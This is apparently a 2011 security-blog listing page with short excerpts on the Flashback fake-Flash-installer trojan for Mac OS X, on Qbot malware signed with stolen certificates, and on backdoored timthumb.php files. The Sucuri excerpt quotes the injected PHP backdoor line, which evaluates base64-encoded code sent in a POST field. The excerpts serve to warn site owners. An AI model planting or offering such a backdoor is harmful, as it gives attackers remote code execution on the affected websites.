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New Apple OS X Malware: Fake Adobe Flash Installer

28

Sep

2011

A new attack against Apple Mac OS X Lion (10.7) has been detected by Intego. The threat is a trojan, dubbed Flashback, installed via a fake Adobe Flash installer downloaded from a third party site. As with the MacDefender and Revir malware the Flashback attack uses social engineering to entice the user to download then install […]

Category General Written by ESET ThreatBlog 0 Comments

Towering Qbot Certificates

28

Sep

2011

New stolen digital certificates are used by the multi-purpose backdoor Qbot. The criminals behind the Qbot trojan are certainly not inactive. As I mentioned in a blog post earlier this month, after a quiet summer we have seen a batch of new Qbot variants. An interesting fact is that the malicious binaries were digitally signed. […]

Category General Written by ESET ThreatBlog 0 Comments

TimThumb.php backdoor

15

Sep

2011

If your site got compromised lately with the TimThumb.php vulnerability, make sure to check that script to see if it was not modified to act as a backdoor as well. We are seeing in many sites the timthumb.php with the following code added to it: if (md5(md5($_POST[‘p’]))===’xxx8ab2ab.. a4ec61072xxx’) die(eval(base64_decode($_POST[‘c’]))); If you are not sure what this […]

Category Security Written by Sucuri 0 Comments

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